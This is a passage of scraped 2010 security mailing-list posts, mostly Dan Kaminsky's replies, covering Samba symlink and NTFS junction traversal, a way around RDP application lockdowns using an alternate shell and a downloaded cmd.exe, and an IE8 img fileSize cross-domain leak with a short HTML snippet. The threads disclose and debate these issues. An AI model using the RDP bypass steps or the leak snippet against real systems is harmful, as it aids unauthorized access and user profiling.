\n"}, {"url": "https://seclists.org/bugtraq/2010/Feb/87", "subject": "Re: Samba Remote Zero-Day Exploit", "index_author": "Dan Kaminsky (Feb 08)", "frm": "Dan Kaminsky ", "date": "Sat, 6 Feb 2010 12:43:28 -0500", "body_html": "\nYou need admin rights to create junctions. At that point, path \nconstraints aren't relevant, just psexec and get not only arbitrary \npath but arbitrary code.\n
\n\n
The fix is to do what everybody with a directory traversal bug has to \ndo, block out of path relative directories. In this specific case, \nprevent the creation of symlinks where the target is out of the SMB \nshare's range. (Still allow navigation to such symlinks if one exists, \nthough.)\n
\n\n\n\n
On Feb 6, 2010, at 8:21 AM, "Stefan Kanthak" <stefan.kanthak () nexgo de> \nwrote:\n
\n\n
\nDan Kaminsky wrote:\n\n[...]\n\n
(On a side note, you're not going to see this sort of symlink stuff \non\n
\nWindows,\n
\n\nWhat exactly do you mean?\n
Traversing symlinks on the server/share, or creation of "wide" \nsymlinks\n
\nby the client on the server/share?\n\n
Since Windows 2000 NTFS supports "junctions", which pretty much \nresemble\n
\nUnix symlinks, but only for directories.\nSee <http://support.microsoft.com/kb/205524/en-us>\n\nOn the server, create a junction in your share and let it point to an\narbitrary local directory outside the share, and clients connected to\nthat share can enter the junction and access the "linked" directory.\n\nIf you have write access to the share from the client you can create\n
a "wide" junction there too, just as the OP showed with smbclient/ \nsamba.\n
\n\n
\nand Samba is supposed to match Windows semantics in general.\n
\n\nExcept a mapping of directory symlinks to junctions for example.-(\n\nStefan\n\n
\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2010/Feb/78", "subject": "Re: Samba Remote Zero-Day Exploit", "index_author": "Dan Kaminsky (Feb 08)", "frm": "Dan Kaminsky ", "date": "Sat, 6 Feb 2010 17:30:08 -0500", "body_html": "\n
\n\n\n\n\n
On Feb 6, 2010, at 5:26 PM, "Stefan Kanthak" <stefan.kanthak () nexgo de> \nwrote:\n
\n\n
\nDan Kaminsky wrote on February 06, 2010 6:43 PM:\n\n
\nYou need admin rights to create junctions.\n
\n\nOUCH!\nNo, creating junctions (as well as the Vista introduced symlinks)\nDOESN'T need admin rights!\n\n[snip]\n\n
\n\nReally?  Try. Especially remotely over SMB w/o remote interactive.\n\n\n
\nStefan\n\n
\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Mar/490", "subject": "Re: Possible RDP vulnerability", "index_author": "Dan Kaminsky (Mar 27)", "frm": "Dan Kaminsky ", "date": "Sat, 27 Mar 2010 10:37:10 -0400", "body_html": "\nSo it's a super common thing for schools to have 'locked down' Windows \ndesktops, and even more common for even slightly nerdy kids to take \nthe lockdown as a challenge to be defeated.\n
\n\n
The point of course is that the kids always win: At the point \nsomebody has the set of privileges exposed by any amount of desktop \naccess, constraining execution for them is similar to getting the idea \nthat, perhaps, it would be the responsible thing to open discussions \naround managing the open state of the barn door.\n
\n\n\n\n
On Mar 27, 2010, at 7:39 AM, wicked clown \n<wickedclownuk () googlemail com> wrote:\n
\n\n
\nI think we are two different pages :)\n\n
what I was trying to show if you have a group policy that will only \nrun a certain applications for example notepad.exe, the user is \nunable to access my computer, run or the start button or any other \napplication. There would be a shortcut on the desktop for just \nnotepad.exe for the user to execute.\n
\n\n
The user use RDP to connect to the terminal server so they can \naccess notepad.exe but if you change the application in the programs \ntab under the RDP client the user is now able to run any application \non the terminal server, the user then execute internet explorer and \ndownload a modified cmd.exe and save it in the c:\\windows\\temp (even \nif you denied access to the hard drive users can still write to the \ntemp folder) now I log off the rdp client change the program to \npoint to c:\\windows\\temp\\cmd.exe, I how have access to the command \nprompt with access to the command prompt I can run any other \napplication or access other parts of the server they are not allowed \nto access.\n
\n\n
That is what my video was try to demostrate that even denying access \nto applications on the server you can still execute applications \nfrom that server.\n
\n\n
But as been mention if you put that single click in the RDP-tcp on \nthe server then the user is unable to execute other applications.\n
\n\n
I have been doing some further checks and I can confirm I have seen \nthis affect about 90% of so called secure systems with group policy, \nbut will execute normally block applications. I have even found \nsystems on the Internet that are vulnerable to this.\n
\n\n
I think we may have to agree to disagree on this subject. But thank \nyou for you views and comments.\n
\n\n
On Fri, Mar 26, 2010 at 9:29 PM, Thor (Hammer of God) <Thor () hammerofgod com \n> wrote:\n
\nI think you still misunderstand.\n\n\n\n
The option you refer to has nothing to do with \u00e2\u0080\u009clocking down\u00e2\u0080\u009d the \nserver. When you say things like \u00e2\u0080\u009ca locked down group policy that i \ns tighter than a ducks bum\u00e2\u0080\u009d what exactly are you talking about?\n
\n\n\n\n
Selecting \u00e2\u0080\u009cdon\u00e2\u0080\u0099t allow a startup program to be run\u00e2\u0080\u009d simply \nforces the desktop to be shown as opposed to an application one may \nspecify. If I initiate a session and tell it to run calc.exe, then \ncalc.exe is what it presented upon connection. It\u00e2\u0080\u0099s a shortcut for \nthe user. If at the server I don\u00e2\u0080\u0099t allow applications to be specifi \ned, then it won\u00e2\u0080\u0099t run them and will default to the desktop. But I c \nan still go \u00e2\u0080\u009cstart, run, calc\u00e2\u0080\u009d and it will run fine if I have \npermissions to run it. AppLocker is a great way to lock down the ho \nst environment, whether RDP or not.\n
\n\n\n\n
And you are quite incorrect about \u00e2\u0080\u009cno user based control\u00e2\u0080\u009d \nstopping you. As mentioned, AppLocker could have prevented it had i \nt been deployed \u00e2\u0080\u009cproperly.\u00e2\u0080\u009d Well, it would help, anyway. \nDepends on the manner in which the attack was carried out, of course \n, but that has nothing whatsoever to do with the setting in RDP. De \nploying RDP to untrusted users or malicious users is not good policy \n; as such, you need to take extra care in securing RDP hosts by usin \ng permissions and other restrictions.\n
\n\n\n\n
I think you need to relax a little and think about what you post \u00e2\u0080\u0093 s \naying things like \u00e2\u0080\u009ca GPO tighter to a ducks bum\u00e2\u0080\u009d and \u00e2\u0080\u009copen to \ntotal pwnage\u00e2\u0080\u009d and \u00e2\u0080\u009cnothing would stop me\u00e2\u0080\u009d sounds a bit \nhyperbolic (in addition to being incorrect).\n
\n\n\n\n
To summarize, your concerns have nothing to do with RDP security \nsettings as you have presented them. MS10-015 is certainly an \nimportant issue for local-host based attacks, of which RDP is one. \nOne\u00e2\u0080\u0099s mitigation efforts should indeed include RDP hosts. The takea \nway from that is to apply more due diligence to securing RDP deploym \nents as one would with any asset you give users local access to. R \nDP should not be viewed as a security mechanism, but rather, an acce \nss mechanism. There are MANY ways to secure RDP, limit access, publ \nish applications in singularity, create remote workspaces, etc, but \nyou need to educate yourself on these solutions.\n
\n\n\n\nThe behavior you describe is expected, by design behavior.\n\n\n\nt\n\n\n\n
From: full-disclosure-bounces () lists grok org uk [mailto:full- \ndisclosure-bounces () lists grok org uk] On Behalf Of wicked clown\n
\nSent: Friday, March 26, 2010 8:31 AM\n\n\nTo: Full-Disclosure () lists grok org uk\nSubject: Re: [Full-disclosure] Possible RDP vulnerability\n\n\nThank you for your comment.\n\n
What I was referring to it being scary is that if you create a \nlocked down group policy that is tighter than a ducks bum and you \nforget that single tick (I admit I didn't knew of that option and I \nbet lots of other people didn't know about it) you leave your system \nto total pwnage!! It's simple mistakes like that which compromises \nsystems.\n
\n\n
If I found this before MS10-015 patch was released I could of \ndownload that exploit and gain system level permission, so no user \nbased permission or access control would of stopped me.\n
\n\n\n\n
On Fri, Mar 26, 2010 at 2:13 PM, Thor (Hammer of God) <Thor () hammerofgod com \n> wrote:\n
\n\n
There\u00e2\u0080\u0099s nothing \u00e2\u0080\u009cscary\u00e2\u0080\u009d about it. I believe you are \nincorrectly asserting that the inclusion of the \u00e2\u0080\u009cstart the following \n program on connection\u00e2\u0080\u009d has something to do with \u00e2\u0080\u009clocking down \nthe server\u00e2\u0080\u009d and/or \u00e2\u0080\u009conly allow(ing) users who connect to your \nserver to run certain applications.\u00e2\u0080\u009d I would suggest that you stud \ny up on what RDP is and how it works before posting things like this.\n
\n\n\n\n
Consider \u00e2\u0080\u009clocking down RDP\u00e2\u0080\u009d a process similar to \u00e2\u0080\u009clocking down \na local host.\u00e2\u0080\u009d Use permissions and other host/OS based controls to \nsecure what a user can and can\u00e2\u0080\u0099t do on a host.\n
\n\n\n\nt\n\n\n\n\n\n\n\n
From: full-disclosure-bounces () lists grok org uk [mailto:full- \ndisclosure-bounces () lists grok org uk] On Behalf Of wicked clown\n
\nSent: Friday, March 26, 2010 3:33 AM\n\n\nTo: Full-Disclosure () lists grok org uk\n\nSubject: Re: [Full-disclosure] Possible RDP vulnerability\n\n\n\nCheers for that,\n\n
I take it back that I haven't found an vulnerability :(, but by \ndefault this isn't enabled which is scary !!\n
\n\n\n
On Fri, Mar 26, 2010 at 9:57 AM, Mr. Hinky Dink \n<dink () mrhinkydink com> wrote:\n
\n\n
There is a section in RCP-Tcp Properties on the server under \n"Environment" for "Do not allow an initial program to be launched. \nAlways show the desktop".\n
\n\n\n\n----- Original Message -----\n\nFrom: wicked clown\n\nTo: Full-Disclosure () lists grok org uk\n\nSent: Friday, March 26, 2010 5:04 AM\n\nSubject: [Full-disclosure] Possible RDP vulnerability\n\n\n\nHi Guys,\n\n\n\n
I think I possible may have found a vulnerability with using RDP / \nTerminal services on windows 2003.\n
\n\n\n\n
If you lock down a server and only allow users who connect to your \nRDP connection to run certain applications, users can bypass this \nand run ANY application they want. You can do this by modifying the \nRDP profile / shortcut and add your application to the alternate \nshell and the shell working directory.\n
\n\n\n\n
When the user connects now to the RDP server the banned application \nwill execute upon logging on even though the user isn\u00e2\u0080\u0099t allowed to e \nxecute the application if the user logs on normally. This doesn\u00e2\u0080\u0099t wo \nrk with cmd.exe but I have been able to execute internet explorer, d \nown a modified cmd version, modify the RDP profile to execute the ne \nw cmd and it works like a charm.\n
\n\n\n\n
I have only been able to tested this on windows 2003 using a local \npolicy and works like a treat. Even in the wild!\n
\n\n\n\nI have done a quick basic video which can been seen here;\n\nhttp://www.tombstone-bbs.co.uk/v1d30z/rdp-hack2.swf\n\n\n\n
Instead of modifying the RDP profile, I just added my application to \nthe program tab.. I know the video is crappy but it\u00e2\u0080\u0099s just meant to \ngive you an idea what I am talking about :)\n
\n\n\n\n
So in short, if anybody can access your server via RDP they are NOT \nrestricted by the policy. I would be interested in any feed back \nabout this possible exploit / vulnerability even if you don\u00e2\u0080\u0099t think \nit is.. or even better if someone knows how to defend againest it!! \nLOL! :)\n
\n\n\n\nCheers\n\nWicked Clown.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Mar/497", "subject": "Re: Possible RDP vulnerability", "index_author": "Dan Kaminsky (Mar 27)", "frm": "Dan Kaminsky ", "date": "Sat, 27 Mar 2010 12:27:57 -0400", "body_html": "\nYou say this, but I note with interest and approval that your \nrecommendation was to sidestep desktop 'restrictions' entirely in \nfavor of certificate based access control.\n
\n\nQuantization of security and all that.\n\n
On Mar 27, 2010, at 11:56 AM, "Thor (Hammer of God)" <Thor () hammerofgod com \n> wrote:\n
\n\n
No, they don\u00e2\u0080\u0099t \u00e2\u0080\u009calways\u00e2\u0080\u009d win. Maybe back with windows 2000, or \nXP, but not with Windows 7 anyway. Of course, none of this does any \nthing to stop them from booting off a CD and owning the box that way.\n
\n\n\n\n
However, I do agree that people need to fully understand exactly \nwhat they are, and more importantly, are NOT doing insofar as \nsecurity is concerned when it comes to access to local assets.\n
\n\n\n\nt\n\n\n\nFrom: Dan Kaminsky [mailto:dan () doxpara com]\nSent: Saturday, March 27, 2010 7:37 AM\nTo: wicked clown\nCc: Thor (Hammer of God); Full-Disclosure () lists grok org uk\nSubject: Re: [Full-disclosure] Possible RDP vulnerability\n\n\n\n
So it's a super common thing for schools to have 'locked down' \nWindows desktops, and even more common for even slightly nerdy kids \nto take the lockdown as a challenge to be defeated.\n
\n\n\n\n
The point of course is that the kids always win: At the point \nsomebody has the set of privileges exposed by any amount of desktop \naccess, constraining execution for them is similar to getting the \nidea that, perhaps, it would be the responsible thing to open \ndiscussions around managing the open state of the barn door.\n
\n\n\n\n\n\n\n\n
On Mar 27, 2010, at 7:39 AM, wicked clown <wickedclownuk () googlemail com \n> wrote:\n
\n\nI think we are two different pages :)\n\n
what I was trying to show if you have a group policy that will only \nrun a certain applications for example notepad.exe, the user is \nunable to access my computer, run or the start button or any other \napplication. There would be a shortcut on the desktop for just \nnotepad.exe for the user to execute.\n
\n\n
The user use RDP to connect to the terminal server so they can \naccess notepad.exe but if you change the application in the programs \ntab under the RDP client the user is now able to run any application \non the terminal server, the user then execute internet explorer and \ndownload a modified cmd.exe and save it in the c:\\windows\\temp (even \nif you denied access to the hard drive users can still write to the \ntemp folder) now I log off the rdp client change the program to \npoint to c:\\windows\\temp\\cmd.exe, I how have access to the command \nprompt with access to the command prompt I can run any other \napplication or access other parts of the server they are not allowed \nto access.\n
\n\n
That is what my video was try to demostrate that even denying access \nto applications on the server you can still execute applications \nfrom that server.\n
\n\n
But as been mention if you put that single click in the RDP-tcp on \nthe server then the user is unable to execute other applications.\n
\n\n
I have been doing some further checks and I can confirm I have seen \nthis affect about 90% of so called secure systems with group policy, \nbut will execute normally block applications. I have even found \nsystems on the Internet that are vulnerable to this.\n
\n\n
I think we may have to agree to disagree on this subject. But thank \nyou for you views and comments.\n
\n\n
On Fri, Mar 26, 2010 at 9:29 PM, Thor (Hammer of God) <Thor () hammerofgod com \n> wrote:\n
\n\nI think you still misunderstand.\n\n\n\n
The option you refer to has nothing to do with \u00e2\u0080\u009clocking down\u00e2\u0080\u009d the \nserver. When you say things like \u00e2\u0080\u009ca locked down group policy that i \ns tighter than a ducks bum\u00e2\u0080\u009d what exactly are you talking about?\n
\n\n\n\n
Selecting \u00e2\u0080\u009cdon\u00e2\u0080\u0099t allow a startup program to be run\u00e2\u0080\u009d simply \nforces the desktop to be shown as opposed to an application one may \nspecify. If I initiate a session and tell it to run calc.exe, then \ncalc.exe is what it presented upon connection. It\u00e2\u0080\u0099s a shortcut for \nthe user. If at the server I don\u00e2\u0080\u0099t allow applications to be specifi \ned, then it won\u00e2\u0080\u0099t run them and will default to the desktop. But I c \nan still go \u00e2\u0080\u009cstart, run, calc\u00e2\u0080\u009d and it will run fine if I have \npermissions to run it. AppLocker is a great way to lock down the ho \nst environment, whether RDP or not.\n
\n\n\n\n
And you are quite incorrect about \u00e2\u0080\u009cno user based control\u00e2\u0080\u009d \nstopping you. As mentioned, AppLocker could have prevented it had i \nt been deployed \u00e2\u0080\u009cproperly.\u00e2\u0080\u009d Well, it would help, anyway. \nDepends on the manner in which the attack was carried out, of course \n, but that has nothing whatsoever to do with the setting in RDP. De \nploying RDP to untrusted users or malicious users is not good policy \n; as such, you need to take extra care in securing RDP hosts by usin \ng permissions and other restrictions.\n
\n\n\n\n
I think you need to relax a little and think about what you post \u00e2\u0080\u0093 s \naying things like \u00e2\u0080\u009ca GPO tighter to a ducks bum\u00e2\u0080\u009d and \u00e2\u0080\u009copen to \ntotal pwnage\u00e2\u0080\u009d and \u00e2\u0080\u009cnothing would stop me\u00e2\u0080\u009d sounds a bit \nhyperbolic (in addition to being incorrect).\n
\n\n\n\n
To summarize, your concerns have nothing to do with RDP security \nsettings as you have presented them. MS10-015 is certainly an \nimportant issue for local-host based attacks, of which RDP is one. \nOne\u00e2\u0080\u0099s mitigation efforts should indeed include RDP hosts. The takea \nway from that is to apply more due diligence to securing RDP deploym \nents as one would with any asset you give users local access to. R \nDP should not be viewed as a security mechanism, but rather, an acce \nss mechanism. There are MANY ways to secure RDP, limit access, publ \nish applications in singularity, create remote workspaces, etc, but \nyou need to educate yourself on these solutions.\n
\n\n\n\nThe behavior you describe is expected, by design behavior.\n\n\n\nt\n\n\n\n
From: full-disclosure-bounces () lists grok org uk [mailto:full- \ndisclosure-bounces () lists grok org uk] On Behalf Of wicked clown\n
\nSent: Friday, March 26, 2010 8:31 AM\n\n\nTo: Full-Disclosure () lists grok org uk\nSubject: Re: [Full-disclosure] Possible RDP vulnerability\n\n\n\nThank you for your comment.\n\n
What I was referring to it being scary is that if you create a \nlocked down group policy that is tighter than a ducks bum and you \nforget that single tick (I admit I didn't knew of that option and I \nbet lots of other people didn't know about it) you leave your system \nto total pwnage!! It's simple mistakes like that which compromises \nsystems.\n
\n\n
If I found this before MS10-015 patch was released I could of \ndownload that exploit and gain system level permission, so no user \nbased permission or access control would of stopped me.\n
\n\n\n
On Fri, Mar 26, 2010 at 2:13 PM, Thor (Hammer of God) <Thor () hammerofgod com \n> wrote:\n
\n\n
There\u00e2\u0080\u0099s nothing \u00e2\u0080\u009cscary\u00e2\u0080\u009d about it. I believe you are \nincorrectly asserting that the inclusion of the \u00e2\u0080\u009cstart the following \n program on connection\u00e2\u0080\u009d has something to do with \u00e2\u0080\u009clocking down \nthe server\u00e2\u0080\u009d and/or \u00e2\u0080\u009conly allow(ing) users who connect to your \nserver to run certain applications.\u00e2\u0080\u009d I would suggest that you stud \ny up on what RDP is and how it works before posting things like this.\n
\n\n\n\n
Consider \u00e2\u0080\u009clocking down RDP\u00e2\u0080\u009d a process similar to \u00e2\u0080\u009clocking down \na local host.\u00e2\u0080\u009d Use permissions and other host/OS based controls to \nsecure what a user can and can\u00e2\u0080\u0099t do on a host.\n
\n\n\n\nt\n\n\n\n\n\n\n\n
From: full-disclosure-bounces () lists grok org uk [mailto:full- \ndisclosure-bounces () lists grok org uk] On Behalf Of wicked clown\n
\nSent: Friday, March 26, 2010 3:33 AM\n\n\nTo: Full-Disclosure () lists grok org uk\n\nSubject: Re: [Full-disclosure] Possible RDP vulnerability\n\n\n\nCheers for that,\n\n
I take it back that I haven't found an vulnerability :(, but by \ndefault this isn't enabled which is scary !!\n
\n\n
On Fri, Mar 26, 2010 at 9:57 AM, Mr. Hinky Dink \n<dink () mrhinkydink com> wrote:\n
\n\n
There is a section in RCP-Tcp Properties on the server under \n"Environment" for "Do not allow an initial program to be launched. \nAlways show the desktop".\n
\n\n\n\n----- Original Message -----\n\nFrom: wicked clown\n\nTo: Full-Disclosure () lists grok org uk\n\nSent: Friday, March 26, 2010 5:04 AM\n\nSubject: [Full-disclosure] Possible RDP vulnerability\n\n\n\nHi Guys,\n\n\n\n
I think I possible may have found a vulnerability with using RDP / \nTerminal services on windows 2003.\n
\n\n\n\n
If you lock down a server and only allow users who connect to your \nRDP connection to run certain applications, users can bypass this \nand run ANY application they want. You can do this by modifying the \nRDP profile / shortcut and add your application to the alternate \nshell and the shell working directory.\n
\n\n\n\n
When the user connects now to the RDP server the banned application \nwill execute upon logging on even though the user isn\u00e2\u0080\u0099t allowed to e \nxecute the application if the user logs on normally. This doesn\u00e2\u0080\u0099t wo \nrk with cmd.exe but I have been able to execute internet explorer, d \nown a modified cmd version, modify the RDP profile to execute the ne \nw cmd and it works like a charm.\n
\n\n\n\n
I have only been able to tested this on windows 2003 using a local \npolicy and works like a treat. Even in the wild!\n
\n\n\n\nI have done a quick basic video which can been seen here;\n\nhttp://www.tombstone-bbs.co.uk/v1d30z/rdp-hack2.swf\n\n\n\n
Instead of modifying the RDP profile, I just added my application to \nthe program tab.. I know the video is crappy but it\u00e2\u0080\u0099s just meant to \ngive you an idea what I am talking about :)\n
\n\n\n\n
So in short, if anybody can access your server via RDP they are NOT \nrestricted by the policy. I would be interested in any feed back \nabout this possible exploit / vulnerability even if you don\u00e2\u0080\u0099t think \nit is.. or even better if someone knows how to defend againest it!! \nLOL! :)\n
\n\n\n\nCheers\n\nWicked Clown.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n\n\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Apr/288", "subject": "Re: IE8 img tag HiJacking", "index_author": "Dan Kaminsky (Apr 22)", "frm": "Dan Kaminsky ", "date": "Thu, 22 Apr 2010 14:06:35 -0400", "body_html": "\n
Interesting use, using filesize to back into the actual CAPTCHA used for a\ngiven query.  Sneaky!\n\nSo it's possible to read not only filesize, but image dimensions\ncross-domain.  I actually found a use for this -- it's a good way to\nexchange a small amount of data between sites that mutually distrust one\nanother.  The reason for this is that images are pretty much the only\nresources that can be loaded cross-domain that won't have embedded script\nexecuted by a browser.\n\n(Side note:  At this point, you're probably thinking:  Vladimir just said\nthat some browsers allow SVG to load via <img> -- and SVG can embed script\nwith nothing but a script tag  and a smile!  Doesn't this mean a bunch of\nsites are in trouble?\n\nTurns out, no, not as far as I can tell anyway.  IE and Firefox both block\n<img> to SVG entirely, while Chrome, Safari, and Opera allow it.  But there\nappears to be a script firewall (or more accurately, a missing connection)\nbetween <img>-loaded SVG and the script engine.  Static SVG renders just\nfine, but don't expect it to do anything unless you top-level nav, inline,\nor use something like embed.)\n\nBack to image dimensions, it turns out that this information channel cannot\nbe closed; even if the dimensions of the object itself couldn't be queried,\nthe XY positioning of the objects *around* the imported images must be both\nqueryable and dependent on image properties.\n\nI was curious however if img.fileSize would leak filesizes of non-image\ncontent.  Doesn't look like it does -- undefined in everything but IE, -1 in\nIE.\n\n\n2010/4/22 T Biehn <tbiehn () gmail com>\n\n
It could be used as a technique for defeating the login images used as\n"two-factor-authentication" by some online services.\nThe application of using filesize to fingerprint an image is somewhat\nnovel. This is a decidedly 'old' vector, though.\n\n-Travis\n\n2010/4/21 \u00d0\u0092\u00d0\u00bb\u00d0\u00b0\u00d0\u00b4\u00d0\u00b8\u00d0\u00bc\u00d0\u00b8\u00d1\u0080 \u00d0\u0092\u00d0\u00be\u00d1\u0080\u00d0\u00be\u00d0\u00bd\u00d1\u0086\u00d0\u00be\u00d0\u00b2 <vladimir.vorontsov () onsec ru>\n\nHello Full disclosure!\n
\n\nOnce again, unwinding theme HiJacking found a fun way to get the very\nleast information about the target resource when the user is located at\nthe\nattacker.\n\nAlready crocked <img> tag opens new opportunities using the method\nfileSize, described here:\nhttp://msdn.microsoft.com/en-us/library/ms533752\n(v = VS.85). Aspx\n\nConsider a simple example - a Web application after authentication\nprovides some sort of picture for the user, for example:\n\nhttp://example.com/getImage.php?image=myAvatar\n\nThe attacker, knowing this can create a page to read:\n\n<img id="onsec" src="http://example.com/getImage.php?image=myAvatar";>\n\n<input type="button" onclick="if (onsec.fileSize> 0) (alert ('authorized\non example.com') else (alert ('not authorized on example.com')}">\n\nThus, the attacker learns the simplest case, whether the target user\naccess to example.com.\n\nContinuing the theme, I want to note that in some cases, can obtain\nadditional information from the very values of the size of the picture. It\ncan be any logical information Web applications, say, the same script can\nshow administrators a picture of the same size, and users - of another.\nThus, we obtain the user rights. And so on.\n\nI'd like to return the size of the method is not only "valid" images, but\nalso HTML pages, JSON, etc. But, unfortunately, does not work. Maybe, of\ncourse, there are exceptions, call to investigate the matter.\n\nI have some thoughts on the study of vector images in XML format, because\nHTML is often valid XML, and then ...\n\nCheck for the test version IE9, but he did not support SVG inside tag\n<img>, but only as a separate tag.\n\nWorks in IE8, in Opera 10.52 does not work on check writing, if not\ndifficult.\n\nOriginal at russian language: http://oxod.ru/?p=113\n\n--\nBest regards,\nVladimir Vorontsov\nONsec security expert\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n\n--\nFD1D E574 6CAB 2FAF 2921  F22E B8B7 9D0D 99FF A73C\nhttp://pgp.mit.edu:11371/pks/lookup?search=tbiehn&op=index&fingerprint=on\nhttp://pastebin.com/f6fd606da\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Apr/286", "subject": "Re: IE8 img tag HiJacking", "index_author": "Dan Kaminsky (Apr 22)", "frm": "Dan Kaminsky ", "date": "Thu, 22 Apr 2010 14:17:46 -0400", "body_html": "\n
Also, Billy Hoffman has done a lot of fun work in this space, see\nhttp://www.gnucitizen.org/blog/javascript-remoting-dangers/\n\n\n\n2010/4/22 Dan Kaminsky <dan () doxpara com>:\n
Interesting use, using filesize to back into the actual CAPTCHA used for a\ngiven query.\u00c2\u00a0 Sneaky!\n\nSo it's possible to read not only filesize, but image dimensions\ncross-domain.\u00c2\u00a0 I actually found a use for this -- it's a good way to\nexchange a small amount of data between sites that mutually distrust one\nanother.\u00c2\u00a0 The reason for this is that images are pretty much the only\nresources that can be loaded cross-domain that won't have embedded script\nexecuted by a browser.\n\n(Side note:\u00c2\u00a0 At this point, you're probably thinking:\u00c2\u00a0 Vladimir just said\nthat some browsers allow SVG to load via <img> -- and SVG can embed script\nwith nothing but a script tag\u00c2\u00a0 and a smile!\u00c2\u00a0 Doesn't this mean a bunch of\nsites are in trouble?\n\nTurns out, no, not as far as I can tell anyway.\u00c2\u00a0 IE and Firefox both block\n<img> to SVG entirely, while Chrome, Safari, and Opera allow it.\u00c2\u00a0 But there\nappears to be a script firewall (or more accurately, a missing connection)\nbetween <img>-loaded SVG and the script engine.\u00c2\u00a0 Static SVG renders just\nfine, but don't expect it to do anything unless you top-level nav, inline,\nor use something like embed.)\n\nBack to image dimensions, it turns out that this information channel cannot\nbe closed; even if the dimensions of the object itself couldn't be queried,\nthe XY positioning of the objects *around* the imported images must be both\nqueryable and dependent on image properties.\n\nI was curious however if img.fileSize would leak filesizes of non-image\ncontent.\u00c2\u00a0 Doesn't look like it does -- undefined in everything but IE, -1 in\nIE.\n\n\n2010/4/22 T Biehn <tbiehn () gmail com>\n
\n\nIt could be used as a technique for defeating the login images used as\n"two-factor-authentication" by some online services.\nThe application of using filesize to fingerprint an image is somewhat\nnovel. This is a decidedly 'old' vector, though.\n\n-Travis\n\n2010/4/21 \u00d0\u0092\u00d0\u00bb\u00d0\u00b0\u00d0\u00b4\u00d0\u00b8\u00d0\u00bc\u00d0\u00b8\u00d1\u0080 \u00d0\u0092\u00d0\u00be\u00d1\u0080\u00d0\u00be\u00d0\u00bd\u00d1\u0086\u00d0\u00be\u00d0\u00b2 <vladimir.vorontsov () onsec ru>\n
\n\nHello Full disclosure!\n\nOnce again, unwinding theme HiJacking found a fun way to get the very\nleast information about the target resource when the user is located at\nthe\nattacker.\n\nAlready crocked <img> tag opens new opportunities using the method\nfileSize, described here:\nhttp://msdn.microsoft.com/en-us/library/ms533752\n(v = VS.85). Aspx\n\nConsider a simple example - a Web application after authentication\nprovides some sort of picture for the user, for example:\n\nhttp://example.com/getImage.php?image=myAvatar\n\nThe attacker, knowing this can create a page to read:\n\n<img id="onsec" src="http://example.com/getImage.php?image=myAvatar";>\n\n<input type="button" onclick="if (onsec.fileSize> 0) (alert ('authorized\non example.com') else (alert ('not authorized on example.com')}">\n\nThus, the attacker learns the simplest case, whether the target user\naccess to example.com.\n\nContinuing the theme, I want to note that in some cases, can obtain\nadditional information from the very values of the size of the picture.\nIt\ncan be any logical information Web applications, say, the same script can\nshow administrators a picture of the same size, and users - of another.\nThus, we obtain the user rights. And so on.\n\nI'd like to return the size of the method is not only "valid" images, but\nalso HTML pages, JSON, etc. But, unfortunately, does not work. Maybe, of\ncourse, there are exceptions, call to investigate the matter.\n\nI have some thoughts on the study of vector images in XML format, because\nHTML is often valid XML, and then ...\n\nCheck for the test version IE9, but he did not support SVG inside tag\n<img>, but only as a separate tag.\n\nWorks in IE8, in Opera 10.52 does not work on check writing, if not\ndifficult.\n\nOriginal at russian language: http://oxod.ru/?p=113\n\n--\nBest regards,\nVladimir Vorontsov\nONsec security expert\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n\n\n--\nFD1D E574 6CAB 2FAF 2921 \u00c2\u00a0F22E B8B7 9D0D 99FF A73C\nhttp://pgp.mit.edu:11371/pks/lookup?search=tbiehn&op=index&fingerprint=on\nhttp://pastebin.com/f6fd606da\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/May/1", "subject": "Re: newest category of security bugs considered\telite ?", "index_author": "Dan Kaminsky (May 01)", "frm": "Dan Kaminsky ", "date": "Sat, 1 May 2010 15:29:25 -0400", "body_html": "\n
